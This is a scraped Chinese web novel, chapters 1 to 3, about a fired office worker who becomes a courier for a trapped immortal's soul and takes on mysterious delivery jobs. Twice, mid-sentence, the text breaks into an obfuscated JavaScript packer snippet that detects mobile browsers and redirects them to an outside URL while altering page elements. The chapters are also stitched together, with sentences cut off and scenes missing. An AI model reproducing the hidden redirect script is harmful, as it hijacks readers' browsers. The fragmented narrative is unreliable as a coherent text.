《《我在都市送快递成圣》》 1. 快递里的仙尊 下午三点二十七分,公司厕所隔间。 手机震了,是同城速递的接单提示。 苏明盯着屏幕,眉毛拧成了麻花。 取件地址:锦绣江山小区7号楼2401——本市顶级豪宅,一平米顶他两年工资。 派送地址:本公司大楼天台。 备注:务必亲手交给穿灰色卫衣的年轻男子,运费到付88元。 最离谱的是信用评级:☆☆☆☆☆,附带一行小字——“本单完成奖励:2000元特殊补贴,即时到账。” 两千块。 苏明看了眼隔间门板,外面总监催命的脚步声正在逼近。他咬了咬牙,点击“接单”。 富贵险中求,送完这单就溜回来,神不知鬼不觉。 四十分钟后,他站在公司大楼天台边缘,手里捧着一个巴掌大的檀木盒子。 天台上空无一人,只有风在呼啸。 盒子上贴着一张皱巴巴的黄色符纸,朱砂字歪歪扭扭:“内有仙尊,轻拿轻放。” “恶作剧吧?” 苏明嘟囔着,摸出手机准备拍照留证。 盒子动了。 不是错觉。檀木盒子在他掌心轻轻一颤,发出“叩”的一声轻响。 “咳……” 一个虚弱却清晰的声音,直接在他脑海里炸开。 “凡人,本座乃玄天宗第三百六十二代掌门,凌虚子。因渡劫失败,元婴受损,暂寄此养魂木中。快,将盒子靠近你胸口膻中穴。” 苏明僵在原地,第一反应是掏出手机:“喂,110吗?我这有个盒子成精了……” “且慢!”那声音急了,“本座观你印堂发黑,今日必有血光之灾!若肯相助,本座可传你一套《基础吐纳法》,保你逢凶化吉!” 话音未落,天台安全门“哐当”一声被猛地撞开。 策划部总监王胖子挺着啤酒肚冲了出来,脸色铁青,手里攥着苏明的工牌。 “苏明!上班时间偷溜出来送快递?你被开除了!立刻收拾东西滚蛋!” 王胖子唾沫横飞:“还有,上个月你负责的项目数据泄露,公司损失三百万!法务部已经——” 他的咒骂戛然而止。 眼睛瞪得像铜铃,指着苏明身后:“那、那是什么?!” 苏明回头。 天台上空,不知何时飘来一团诡异的乌云。边缘泛着紫光,正对着他头顶。 盒子里,凌虚子的声音变得严肃:“九天应元雷声普化天尊……是追踪本座残魂的‘噬灵阴雷’。凡人,不想死就按我说的做!” 苏明大脑一片空白。 开除?三百万赔偿?现在还有雷要劈我? 去他的! 他一把扯开衣领,将檀木盒子直接按在胸口,大吼一声:“教我怎么搞!” 一股清凉的气流瞬间从盒子涌入体内,沿着某种复杂的路径疾速运转。 紫色乌云“咔嚓”一声,劈下一道筷子粗细、却让人灵魂战栗的紫色电蛇! “气沉丹田,意守灵台!想着‘吸’!”凌虚子的声音如同惊雷。 苏明下意识照做。 奇迹发生了。 紫色电蛇在触及他头顶的瞬间,扭曲、分解,化作无数细碎的紫色光点,被他胸口的盒子疯狂吞噬。 整个过程不过两三秒。 乌云消散,天空恢复晴朗。 王胖子瘫软在地,裤子湿了一片,嘴里念叨着:“特效……一定是公司新做的AR特效……” 苏明站在原地,感受着小腹处升起的一小团暖洋洋的气息。脑海里多出了一段文字——《玄天吐纳真解·基础篇》,清晰得像刻上去一样。 “呼……勉强吞了一道阴雷残力。”凌虚子的声音透着疲惫,却隐隐有一丝兴奋,“小子,你虽灵根斑驳,但这肉身……竟有罕见的‘噬灵体’潜质。不错,不错。” “刚才那是什么?”苏明声音干涩。 “修行路上的小麻烦。”凌虚子语气随意,“本座仇家的一点小手段。放心,暂时安全了。” “那王总监……” “区区凡俗之事。”凌虚子语气带着仙尊特有的高傲,“你既已引气入体,算是踏入了炼气期门槛。本座传你一道‘迷心咒’,可模糊他片刻记忆,你自行处理便是。速寻一处安静之地,本座需与你细说。” 苏明走到王胖子面前,按照脑中突然浮现的简陋法诀,并指如剑,在王胖子眼前虚画了一个符号。 王胖子眼神一滞,露出茫然:“我……我怎么在这儿?对了,苏明啊,那个项目数据的事……我们再仔细查查,可能有误会……” 苏明没理他,转身走向安全门。 走到门口时,他停下脚步,回望了一眼城市的天际线。 “仙尊,炼气期……能徒手掰弯钢筋吗?” 盒子里的声音顿了一下:“……以你刚入门的微末修为,想都别想。不过,强化肉身,单手提起百斤重物,倒是三五日便可。” “能让我明天彩票中头奖吗?” “干涉凡俗气运,反噬甚大,炼气期做此事,会经脉寸断。” “那……能让我刚才被开除的事没发生,还升职加薪吗?” “本座建议你直接对其施展‘迷心咒’,修改记忆,虽然粗陋,但对付凡人大抵够用。” 苏明笑了,露出一口白牙。 “最后一个问题。” “说。” “修炼这东西……要钱吗?” 凌虚子沉默了片刻,缓缓道:“天材地宝,灵丹妙药,洞天福地……你说呢?” 苏明点点头,拍了拍装着盒子的口袋。 “懂了。那先定个小目标。” “比如?” “用这炼气期的本事,把刚才那单快递的88块到付费,还有许诺的两千块补贴,先搞到手。” 凌虚子:“……” 这位曾经的玄天宗掌门,忽然觉得,自己这次渡劫失败后选择的“宿主”,画风可能有点不太对劲。 苏明掏出手机。 “叮!您有一笔特殊补贴到账:2000元。” “叮!到付运费88元已从账户扣除。” “叮!用户‘云中子’给您打赏了500元,留言:送货很快,下次还找你。” 两千五百八十八块,净赚。 他吹了声口哨,走进电梯。 电梯门合上的瞬间,胸口的檀木盒子微微发烫,凌虚子的声音再次响起: “小子,那个下单的‘云中子’……也是修行中人。他能定位到本座残留气息,修为至少筑基以上。你最好别主动联系。” “明白。”苏明飞快点头,手指在手机屏幕上操作起来。 回到狭小的出租屋,反锁房门,拉上窗帘。 苏明将檀木盒子放在桌上,盒盖无声滑开。 里面没有仙风道骨的老者,只有一团鸡蛋大小、朦胧的青色光晕,隐约能看到其中盘坐着个袖珍的人形虚影。 “别看了,本座元婴受损,暂时就这模样。”凌虚子的声音直接响起,“先说正事。你已引气入体,算是炼气一层。虽是最微末的境界,但五感、气力、反应已远超凡人。” 苏明没接话,他打开电脑,屏幕上弹出好几个窗口:同城快递平台的后台数据、本地论坛的灵异传说板块、一个新建的文档——《都市修真者潜在物流需求分析报告》。 “仙尊你看,”苏明指着屏幕,“第一,修真者需要隐秘传递物品,普通快递不安全。第二,他们不缺钱,随手打赏就是五百。第三,也是最重要的——” 他调出一张本市地图,上面用红圈标记了十几个地点。 “这些地方,要么是常年有‘闹鬼’传闻的老宅区,要么是风景好但人迹罕至的郊区山头。结合你说的‘灵气’,这些地方,会不会就是‘洞天福地’或者‘灵气节点’?” 光团里的虚影震动了一下。 “……你如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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深夜,苏明盘膝坐在硬板床上,尝试按照《玄天吐纳真解》运转体内那丝微弱的暖气。 过程枯燥得他想打哈欠,但想到能单手提起百斤、翻墙如履平地,还能靠这个开发“修真界快递蓝海市场”,他就又有了动力。 手机突然震动。 不是订单提示,而是一条陌生号码的短信: “苏先生,今日天台之事,我已处理。王总监会因突发急病住院,数据泄露之事将有‘合适’的人承担。不必谢我,这只是对‘新邻居’的一点善意。另外,贵公司所在大厦地下三层,有些有趣的东西,或许你会感兴趣。——云中子。” 苏明猛地睁开眼。 “仙尊!那个‘云中子’!” “本座看到了。”凌虚子的声音带着凝重,“他能轻易抹平凡俗麻烦,还能知晓那大厦地下有异……此人修为恐怕不低。而且,‘新邻居’……他可能就住在附近。” 苏明盯着短信,又看了看窗外灯火通明的城市夜景。 这个世界,果然和他想象中一样,水面之下,暗流涌动。 “有趣的东西……”他低声重复,“仙尊,明天去看看?” “可。不过,需做好准备。本座传你一道‘敛息术’,虽粗浅,但配合你微末修为,只要不碰到高手,足以隐藏气息。” “明天就去!”苏明一跃而起,睡意全无,“不过在这之前……仙尊,我们得先解决启动资金问题。” “嗯?” “你看,去探险,总得买点装备吧?强光手电、防身棍、运动相机……最好还能搞台二手电瓶车,方便我们以后接单和跑路。”苏明掰着手指算,“我现在全部家当,扣掉房租,就剩三千五。” “所以?” “所以,”苏明拿起手机,点开同城快递App,眼神锐利如即将捕猎的豹子,“今晚,我们得加班了。专接那些地址古怪、备注奇葩、加价高昂的夜单!” 凌虚子:“……” 他忽然觉得,自己这位宿主,或许真的能在灵气枯竭的现代都市,走出一条前所未有的……奇葩仙路。 2. 致富,从薅平台羊毛开始 深夜十一点半,苏明骑着新买的二手电瓶车在街上穿行。 手机架在车头,同城快递平台的接单页面不断刷新。他设置了筛选条件:深夜时段、高额溢价、带“急”“快”“保密”关键词的订单。 “仙尊,‘敛息术’开着吧?”苏明低声问。胸口口袋里,檀木盒子微微发烫。 “开着。除非有修士刻意用神识扫描这条街,否则察觉不到你的灵气。”凌虚子的声音带着好奇,“这‘平台’真能找到古怪需求?” “有需求就有市场。”苏明话音刚落,手机“叮”一声脆响。 新订单弹了出来。 取件地址:老城区,“忘川”古玩店后门(导航至“忘川路144号”,巷子尽头黑色铁门,敲门三长两短)。 派送地址:东郊大学城,生物工程学院实验楼D座,三楼标本室门口储物柜(柜号:D307,密码:0415)。 货物描述:密封陶罐(高约25cm),内含“特殊生物活性样本”,务必保持直立,避免剧烈摇晃。 备注:绝对避光! 取件时请自备黑布遮盖。收件人要求凌晨1点前送达,超时订单作废。如遇任何意外(包括但不限于陶罐破损、泄露、被非指定人员查验),请立即联系发件人(电话:138xxxx0666)并原地等待指示,切勿自行处理!运费:800元。 苏明眼睛亮了。 忘川路那片是老街区,做古玩、香烛、风水生意,鱼龙混杂。东郊大学城生物工程学院的标本室?大半夜送“生物活性样本”? 这单浑身上下写满“可疑”。 但800块。备注里“出了事别自己扛”的潜台词,反而让苏明觉得稍微安全点——至少对方似乎有处理意外的预案。 “接不接,仙尊?”苏明心里快速盘算路线。取件地在城西,送件地在城东,横穿大半个城市,时间刚好卡在边缘。 “陶罐……密封……生物样本……”凌虚子沉吟,“此界修士,亦有御使灵虫、培育异兽者。但‘绝对避光’……听起来不似寻常灵物。小心些,取件时本座暗中探查。” “得令!” 苏明点击“接单”,电瓶车拐进小路,朝着老城区疾驰。《踏云步》的基础运转让他身体更轻盈,在复杂街巷中穿梭竟有种行云流水的感觉。 二十分钟后,他来到忘川路。 这里路灯昏暗,街道狭窄。按照导航找到144号,是一条更窄的巷子入口,里面黑黢黢的。 苏明停好车,从背包里拿出强光手电和一块厚实的黑色绒布,走进巷子。 巷子深处有一扇不起眼的黑色铁门。他抬手敲门。 咚—咚—咚—(停顿)咚—咚。 门内传来轻微的脚步声,门锁转动。铁门开了一条缝,一只布满老茧、皮肤黝黑的手伸了出来,手指间夹着一张折起来的纸条,和一个巴掌大小、冰凉梆硬的陶罐。 陶罐用深色泥料烧成,罐口被蜡封得严严实实,罐身没有任何花纹,入手沉甸甸的。 “布。”门后传来沙哑低沉的声音。 苏明赶紧用黑布将陶罐仔细包裹好,放进背包特制的带海绵隔层的夹层里,固定稳当。那只手随即递出纸条。 苏明接过,展开一看,上面用圆珠笔潦草地写着一个车牌号:“江A·7D8U3”,下面还有一行小字:“若遇拦截,出示此号,或可周旋。送抵后,连罐毁之。” 连罐毁之?苏明心头一跳。 “报酬已预付平台。快走。”门后的声音催促道,铁门“哐当”一声关上。 苏明快步走出巷子,回到电瓶车旁,低声问:“仙尊,感觉到了什么吗?” “……罐中有微弱生命波动,但极其隐晦,且被某种阴寒能量包裹。”凌虚子的声音带着慎重,“非妖非兽,亦非寻常蛊虫。那阴寒能量……似有几分‘尸煞’之气,却又驳杂不纯。此物绝非善类,送达后速速处理为妙。” 尸煞?苏明头皮发麻。这单果然不简单。 他不敢耽误,骑上车,打开导航,朝着东郊大学城方向驶去。为了赶时间,他骑上主路。深夜车少,他把电瓶车速度拉到最大。 开了大约二十分钟,即将驶离老城区范围,进入一个隧道前,苏明习惯性地扫了一眼后视镜。 后面约百米处,一辆没有开远光灯的黑色SUV,不紧不慢地跟着。 “仙尊,后面那车……” “从你取件后约五分钟跟上。车内四人,气血旺盛,远超常人,但并无灵力波动。”凌虚子顿了顿,“其中副驾之人,腰间有金属器物,形状……似汝等凡人官差所用‘铐具’?” 警察?还是……其他“有关部门”? 苏明心里咯噔一下。是冲这罐子来的?还是巧合? 他不动声色,保持车速。隧道很短,不过两百米。驶出隧道后,他猛地一拧把手,电瓶车速度又提一档,同时拐进了旁边一条通往河滨公园的小路。 后视镜里,那辆黑色SUV果然也跟着拐了进来! 不是巧合! 苏明心脏狂跳。对方有车,自己只有电瓶车,在开阔地带跑不过。河滨公园这个点几乎没人,地形相对复杂。 “仙尊,‘踏云步’能让我跑多快?” “全力施为,短时间爆发,或可比拟奔马。但你的灵气支撑不了多久。” “够用了!等会儿听我指示!” 苏明将车骑到公园一处公共厕所后面,猛地刹车,抓起背包跳下车,朝着河边茂密的绿化带冲去! 几乎同时,后方传来急促的刹车声和车门开关声,几声低喝传来:“站住!”“别跑!” 苏明哪里会停,体内那丝微弱的灵气按照《踏云步》的路径疯狂运转,双腿仿佛注入了一股力量,每一步踏出都轻盈而迅捷,速度陡然加快,在昏暗的绿化带中如同鬼魅般穿行! “咦?”后方传来惊讶的声音。 但追兵显然训练有素,脚步声紧追不舍,而且听声音,他们在分散包抄! 苏明冲到了河边栈道,前面是开阔的观景平台,无处可藏!他瞥见栈道下方靠近水面的地方,有一排用于固定栈道木桩的、凸出的水泥墩子。 “仙尊!能让我跳下去抓住那墩子吗?”苏明急问。 “可!凝气于足!” 苏明毫不迟疑,在追兵脚步声逼近平台的瞬间,助跑两步,纵身一跃! 身体腾空。他看准下方黑乎乎的水泥墩子,伸出双手。 “抓!” 双手稳稳扣住了冰凉粗糙的水泥边缘!整个身体悬空,挂在栈道下方,脚下是漆黑的河水。他屏住呼吸,全力运转“敛息术”,连心跳都仿佛放缓。 上方栈道传来急促的脚步声和压低的交谈: “人呢?” “不见了!” “前面是河,他不可能跳河,河水这么急,带着东西跳下去是找死。” “分头找!肯定躲在附近!注意绿化带和厕所!” 脚步声散开,渐渐远去。 苏明吊在水泥墩子上,手臂开始发酸。他小心翼翼地探头观察,确认近处无人,才双臂用力,腰腹一挺,重新翻上了栈道,落地无声。 不能回电瓶车那里了。他辨认了一下方向,大学城在东偏北,直线距离不远,但隔着河。绕路需要时间。 “仙尊,能感应到附近还有其他人吗?” “百丈内,只有方才那四人,正在南侧绿化带搜寻。” 苏明猫着腰,沿着栈道朝东边快速移动。经过一个垃圾桶时,他犹豫了一下,手伸向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356210|199679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 背包里的陶罐…… 但想起门后那人说的“若遇拦截,出示此号”,和凌虚子“送达后处理”的建议,他咬了咬牙,还是继续前进。现在扔了,这单就白干了,还可能惹上未知的麻烦。至少送到地方,按指示处理掉。 他摸出那张写着车牌号的纸条,紧紧攥在手心。 凌晨十二点四十分,苏明有惊无险地绕路抵达了东郊大学城生物工程学院。实验楼D座独立于主建筑群,此时只有少数窗户亮着灯。 他闪身进入楼内,楼道里静悄悄的。很快找到三楼的标本室,门口果然有一排带密码锁的储物柜。找到D307,输入密码0415。 柜门弹开,里面空空如也。 苏明将包裹得严严实实的陶罐放了进去,关上柜门,密码自动重置。 “叮咚。”手机响起,平台提示订单完成,运费800元到账。同时,那个发件人电话发来一条短信:“做得很好。现在,去卫生间,找到最里面那个隔间,水箱后面有一个小塑料袋,里面有你要的东西和下一步说明。立刻处理掉陶罐(方法在说明里),然后离开。不要回头,不要试图探查。” 苏明立刻找到男卫生间,在最里面的隔间水箱后,摸到了一个用胶带粘着的、巴掌大小的密封塑料袋。 里面是一小叠现金,摸厚度约有两千,还有一张打印着几行字的纸条: “处理方式:将陶罐沉入实验楼后方人工湖中心(坐标已附)。湖底有阵法,接触湖水后罐体及内容物会自动溶解。现金是额外酬劳。你很机警,甩掉了‘清道夫’。期待下次合作。另:小心‘云中子’,他未必是朋友。” 苏明瞳孔微缩。对方知道“云中子”?还提醒自己小心? 他来不及细想,迅速回到标本室门口。储物柜里的陶罐还在。他拿起罐子,按照纸条上的坐标,悄悄来到实验楼后的人工湖边。 深夜的湖边空无一人。他用力将黑布包裹的陶罐朝着湖中心那个坐标点扔去。 陶罐划出一道弧线,“噗通”一声没入漆黑的湖水。 几乎在入水的瞬间,苏明似乎看到水面下极深处,隐约亮起了一团幽蓝色的、转瞬即逝的光芒,没有任何气泡或波澜。 解决了。 苏明松了口气,感觉后背已被冷汗浸湿。他不敢久留,迅速离开了大学城,找了辆深夜运营的共享单车,绕了一大圈才回到河滨公园附近,取回了自己的电瓶车。 回到家时,已是凌晨三点。 清点今晚收获:平台运费800+神秘现金2000,资产突破了五千大关。但苏明更在意的是那张新纸条最后的话。 “仙尊,‘清道夫’是什么?还有,他们怎么知道‘云中子’?还提醒我小心?”苏明摊开纸条。 凌虚子的光团从盒子里飘出些许,似乎在感知纸条上残留的极淡气息。 “‘清道夫’……或许是此界专门处理‘非常规事件’的凡人组织。至于‘云中子’……”凌虚子声音低沉,“此人主动接触,赠你机缘,又似乎暗中观察。此举确实可疑。非亲非故,如此厚赠,必有所图。” “那我们明天还去地下室吗?” “去!为何不去?”凌虚子语气坚定,“纵是龙潭虎穴,也要闯一闯。本座倒要看看,这‘云中子’葫芦里卖的什么药!” 苏明点点头。废柴了二十多年,好不容易抓住改变命运的机会,哪怕前面是坑,他也要跳下去看看有没有宝贝。 “好,那就明天,探索公司大厦地下室!” 手机又震动了一下,平台提示音响起。 苏明低头一看,又是一个新的高价特殊订单,地点在市中心一家24小时营业的……宠物医院? 他嘴角勾起一丝弧度。 看来,今晚是别想早睡了。 3. 地下室的秘密与不速之客 清晨六点,天刚微亮。 苏明毫无睡意,盘膝坐在硬板床上,面前摊开放着昨夜从地下室带回的黑色金属箱。箱子打开,里面是那块被称为“星髓”的暗银色多面体石头,在晨光下缓慢脉动着微光。 一夜的修炼效果惊人。靠近星髓修炼,灵气吸收速度像是从吸管喝水变成了对着水龙头猛灌。几个小时下来,他丹田内的暖流壮大近一倍,精神饱满。 “仙尊,这星髓效果太猛了。”苏明感受着体内明显增强的气感。 凌虚子的元婴光团悬浮在星髓上方,吸收着散逸的星力,光晕凝实了一丝:“星髓乃星辰核心残骸所化,是修炼至宝。昨夜那‘云中子’将此物留于你,所图恐怕不小。” “管他图什么,东西到了我们手里,就是我们的。”苏明小心捧起星髓,“仙尊,你恢复需要多少这个?” “以此星髓品质论,汲取三成星力,本座元婴可初步稳固,无需再依附养魂木。若要恢复至可施展神通、长时间显化,需至少七成。重塑肉身……非此一块星髓可及。” “那够我们用一阵子了。”苏明放下心,“仙尊,你说用这个做核心布‘小聚灵阵’,真能成?” “自然。只需寻几块品质尚可的玉石或水晶做辅材,刻画简易阵纹,便可布下‘小周天聚灵阵’,修炼速度至少再提升五倍,且能持续滋养星髓,延缓消耗。” 五倍!苏明心潮澎湃,但很快冷静:“玉石水晶……好点的不便宜。咱们现在全部家当五千多。仙尊,有没有便宜替代品?” “凡俗界玉石,蕴含微末灵气者即可。无需珍宝,寻常市售翡翠、和田玉边角料,或纯净度较高的白水晶、紫水晶原石,皆可一试。” “边角料?这个好办!”苏明立刻拿起手机,打开二手交易平台,“玉石市场、珠宝加工店有废弃边角料,论斤卖不值钱。水晶原石也不贵。” 他说干就干,下单买了两袋玉石废料,又订购了几块白水晶和紫水晶原石,总共花费不到三百。预计下午送到。 “材料问题解决了。仙尊,阵纹怎么刻?需要特殊工具吗?” “以你目前修为,无法灵力外放刻画。不过,本座可暂时依附于你右手,引导你体内灵气,辅以‘辰砂’或‘朱砂’混合少许指尖血,便可刻画基础阵纹。” “还要用血?” “指尖血蕴含生机,可做引子,用量极少。” 苏明咧咧嘴。他看了眼时间,早上七点半。 “仙尊,白天我先去把玉石水晶买回来,顺便踩踩点。晚上咱们布阵,然后去探公司地下室!” “可。” 上午,苏明直奔城西古玩市场。 这里比他想象的热闹。仿古牌楼后是长长步行街,两旁店铺林立,地摊密密麻麻,卖什么的都有。空气中弥漫着香火、尘土和旧纸的气味。 他按照地址找到“翠玉坊”,一家不大的玉石加工店,门口果然摆着几个大麻袋,纸牌上写:“废料处理,十元一袋,自助挑选。” 店里机器轰鸣。苏明蹲在麻袋前翻找。他不懂玉,全靠凌虚子在脑海中传递的微弱感应——“这块略有灵韵”、“此石驳杂不堪”、“那块尚可”。 很快挑了两袋子沉甸甸的小石块,付了二十块。又在隔壁摊位花了五十块买了小半瓶朱砂粉。 准备离开时,凌虚子忽然出声:“且慢。左前方第三个摊位,那块灰黑色的石头,有些意思。” 苏明依言看去。那是个卖奇石矿物标本的摊位,凌虚子指的那块石头拳头大小,灰扑扑不起眼,表面坑洼,夹杂暗红色斑点,标价一百五。 “仙尊,那是什么?” “隔得太远,感应不真切。但其内似有微弱火煞之气流转,颇为凝练。或可用于布置简单‘预警’或‘攻击’阵脚。” 苏明走过去,拿起石头掂了掂,入手沉重。“老板,这什么石头?怎么卖?” 摊主是个戴眼镜的中年人,瞥了一眼:“火山岩,里面可能含点铁矿。一百五,不讲价。” 苏明装模作样看了看,又拿起旁边一块更漂亮的紫色水晶簇:“这个呢?” “紫水晶,原矿,三百。” “太贵了。”苏明放下水晶,又拿起火山岩,“这块黑的便宜点?一百。” “最少一百二。” “一百一,我连刚才那袋废料一起拿了。”苏明指了指手里的袋子。 摊主看了看,挥挥手:“行吧行吧,拿去。” 又花了一百一。苏明将石头小心收好。 离开古玩市场,已是中午。下午又在东郊地质博物馆门口的地摊上,花了八十块买了两块白水晶原石和一块小些的紫水晶。 所有材料备齐,总共花费不到五百。 回到家,快递把网上订的几块水晶原石送到了。苏明将买来的所有东西摊在地上:两袋玉石边角、一小瓶朱砂、三块水晶原石、一块“火山岩”。 “仙尊,接下来怎么弄?” “先将星髓置于房间中央。然后,以星髓为圆心,按八卦八方方位,各放置一块灵材做阵基。玉石边角料中,挑选八块质地最佳、形状相对规整的即可。” 苏明依言,将星髓放在房间正中空地。从那堆边角料里挑出八块小玉石,按凌虚子指示的八个方位摆好。 “取朱砂,混合你指尖血三滴,调和均匀。” 苏明忍痛用针扎破指尖,挤三滴血进小碟子,和朱砂粉调成粘稠暗红糊状。 “现在,以右手食指蘸取砂血,本座会引导你体内灵气,依次在八块阵基上刻画‘聚灵纹’。” 苏明屏息凝神,蘸了砂血,手指点在最近一块玉石上。刹那间,一股清凉气流从胸口檀木盒涌出,顺手臂流至指尖,与砂血混合。 他的手指仿佛有了自己意识,快速在玉石上勾勒出道道繁复玄奥纹路。纹路泛着极淡微光,随即隐没。 一块,两块,三块……随着刻画,苏明感到体内灵气飞速消耗,额头渗出细汗。当第八块玉石刻画完毕,他几乎虚脱,丹田暖流只剩头发丝细的一缕。 “最后,将星髓作为阵眼,置于中央,并滴一滴心头血于其上。” 苏明咬破舌尖,逼出一滴心头精血,滴在暗银色星髓表面。 鲜血瞬间被星髓吸收。与此同时,摆放在八个方位的玉石阵基同时一震! 嗡—— 一股无形波动以星髓为中心扩散。房间空气变得清新,隐隐有极细微、肉眼几乎不可见的光点从四面八方汇聚而来,没入星髓和八块阵基。星髓表面的脉动微光,明亮活跃了一丝。 苏明站在阵中,深吸一口气,神清气爽,刚刚消耗殆尽的灵气,开始缓慢自行恢复,比平时快了数倍不止! “成了!”凌虚子声音带着欣慰,“虽是最简陋的‘小周天聚灵阵’,但在此界已是难得的修炼宝地。在此阵中修炼,速度当是外界十倍以上。星髓损耗也会大大降低。” 苏明感受着周围明显不同的“氛围”,心中激动。这就是阵法? “仙尊,这块黑石头呢?”他拿起那块“火山岩”。 “此石……本座需仔细探查。”凌虚子光团飘到火山岩上方,沉默片刻,“果然!此乃‘地火精粹石’,地脉火气汇聚而成,内蕴一丝精纯火煞。可用以炼制最低等的‘火煞符’。” “能做成护身的东西?” “可。但需简单炼制。你且去买些黄表纸、狼毫笔来。本座传你‘基础符箓勾勒法’,以此石研磨粉末混合朱砂,或可制成两三张‘火煞符’防身。” 苏明记下需要的东西,看了眼时间,下午四点。 “仙尊,你先吸收星力恢复。我出去采购,顺便……再送几单普通快递,熟悉一下《踏云步》和‘敛息术’的实际应用。晚上十点,我们准时出发,去探公司地下室!” 有了聚灵阵和可能的攻击符箓,苏明对地下室探险多了几分底气。 夜幕降临。 晚上十点整,苏明站在公司大厦对面的小巷阴影里。 大部分楼层已熄灯,只有零星窗户亮着。地下停车场入口偶尔有车辆进出。 他换上了一身深色运动服,背着旧书包,里面装着强光手电、水、巧克力、以及用刚买材料制成的三张“火煞符”(黄表纸上画着暗红纹路,摸上去微微发烫)、还有用软布仔细包裹的星髓。 “敛息术运转无碍。”凌虚子声音带着凝重,“但本座隐隐感到,此地……似有阵法残留波动,极其微弱,且不止一层。” “不止一层?”苏明心头一紧,“除了地下室入口那个,还有别的?” “不错。波动很杂,似有防护、预警、甚至困敌之效。年代久远,大多已失效或残缺,但仍需万分小心。那‘云中子’引你来此,绝不仅是送份大礼。” 苏明点头,深吸一口气,体内灵气按《踏云步》路径流动。他像只夜猫,借着路灯和广告牌阴影,快速接近大厦侧面的员工通道。 这个时间点,侧门通常虚掩。苏明用一张从网上学来、配合细微灵力震动门锁的技巧,轻易打开门锁,闪身进入。 楼道里静悄悄,只有安全出口标志发出幽绿的光。他避开监控死角,轻车熟路朝着地下三层的楼梯间摸去。敛息术下,他的存在感降到最低。 再次来到那扇锈迹斑斑的灰色铁门前。和上次一样,门锁只是个摆设。苏明运转灵气,施展“破障诀”第一式,点在门缝残留的符箓禁制上。 “嗤……”微不可闻的轻响,铁门应手而开。向下延伸的楼梯,两侧黯淡萤石,一切如旧。 他小心翼翼地下行,脚步声几不可闻。凌虚子神识如同无形波纹,扫描着周围。 “楼梯墙壁有残留符纹,是‘静音符’和‘驱尘咒’,已失效。” “第三级台阶下方有微弱灵力波动,应是破损的预警阵法节点,小心避开。” “左侧墙壁萤石后三尺,有一处暗格,但内里已空。” 凌虚子实时播报,苏明心中稍定。看来这里确实废弃已久。 很快,他再次站在了那扇厚重的金属门前。掏出“云中子”给的那张黑色卡片,嵌入中央的八卦盘凹槽。 微光亮起,门锁“咔哒”滑开。 熟悉的甜香混合陈旧气息扑面而来。房间内一切和上次离开时几乎一样,中央的暗红色阵法线条,三面墙的嵌入式空柜,角落的现代实验设备,以及桌上他留下的那张纸条—— 纸条不见了。 取而代之的,是压在原来位置的一枚乳白色玉简,长约三寸,表面隐隐有流光转动。 “留影玉简!”凌虚子声音微变,“小心,可能有神识烙印或触发禁制。” 苏明没敢直接用手碰,戴上一双橡胶手套,用干净纸巾垫着,小心拈起玉简。 入手微凉,并无异常。 “用一缕微弱灵气探入其中即可读取,但需谨守心神,以防有诈。” 苏明依言,调动一丝灵气,缓缓注入玉简。 嗡—— 玉简亮起柔和白光,一段信息直接投射入脑海: 「后来者,见字如晤。」 「星髓既已取走,便是你之机缘。此物于我已成鸡肋,于你或有大用。室内残留之物,皆可自取。」 「然,福兮祸所伏。此星髓原为‘观星阁’秘藏,百年前失落于此界。‘观星阁’虽已式微,但其追索星髓的‘寻星使’仍在活动。此物气息独特,长期暴露,恐被感应。建议以‘封灵盒’盛放,或以阵法隔绝气息。」 「另,公司大厦地下,并非仅有此室。更深层之下,或有‘裂隙’残留。慎入。」 「‘云中子’留。」 信息到此为止,玉简光芒黯淡,化作普通玉片。 苏明放下玉简。观星阁?寻星使?裂隙? “观星阁……”凌虚子沉吟,“上古时期,确有一擅长观星测运、炼制星辰类法宝的宗门,名为‘观星阁’。其门人行事低调神秘。若真是其秘藏星髓流落此界,被‘寻星使’追踪,倒也不无可能。” “寻星使厉害吗?” “不知。上古宗门传承至今,即便式微,亦不可小觑。但其既言‘仍在活动’,而非‘正在追杀’,想必追踪力度有限。稳妥起见,确需遮掩气息。” 苏明看向房间角落那套实验设备:“他说残留之物皆可自取,那些瓶罐笔记或许有用。” 他走过去,将桌上剩余的几本笔记和两个贴着标签的小玻璃瓶(“灵草萃取液-失败品3号”、“惰性灵气样本-17”)小心收进背包。又在空柜子里翻了翻,只找到些空玉盒和几个刻着残缺阵纹的罗盘碎片。 最后,他看向中央的暗红色阵法。 “仙尊,这阵法还能用吗?”< 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男人冲进房间,似乎想寻找什么,目光快速扫过空荡荡的桌子和中央的阵法,当看到阵法中央空空如也时,脸上露出一丝绝望。 “该死……还是来晚了……星髓果然被取走了……”他低声咒骂。 就在这时,暗门后的通道里,传来一阵轻微的、仿佛金属摩擦地面的“沙沙”声,由远及近。 男人脸色大变,顾不上手臂伤势,猛地扑向房间另一侧墙壁——那里似乎也有个不起眼的凸起。他用力按了下去。 墙壁无声滑开,露出后面狭窄的维修管道。 男人毫不犹豫地钻了进去,墙壁在他身后迅速合拢。 “沙沙”声停在了暗门口。 苏明藏在柜子侧面,大气不敢出。他能感觉到,一股冰冷、阴森、带着浓浓死寂气息的“东西”,停在暗门后的阴影里。 那不是活人。甚至不像是畸变体。那是一种更诡异、更让人心底发寒的存在。 凌虚子的声音在他脑海中响起,带着严肃和一丝难以置信:“阴傀?!此界怎会有‘阴傀’存在?而且气息……如此驳杂不纯?” “阴傀?什么东西?”苏明用意念急问。 “一种低级傀儡,通常以阴气、死气或残魂驱动,无自主意识,只知执行简单命令。但眼前这个……似乎混合了金属构造和生物组织?驱动能量也非纯粹阴气,更像是多种负面能量和惰性灵气的扭曲混合体。古怪!” 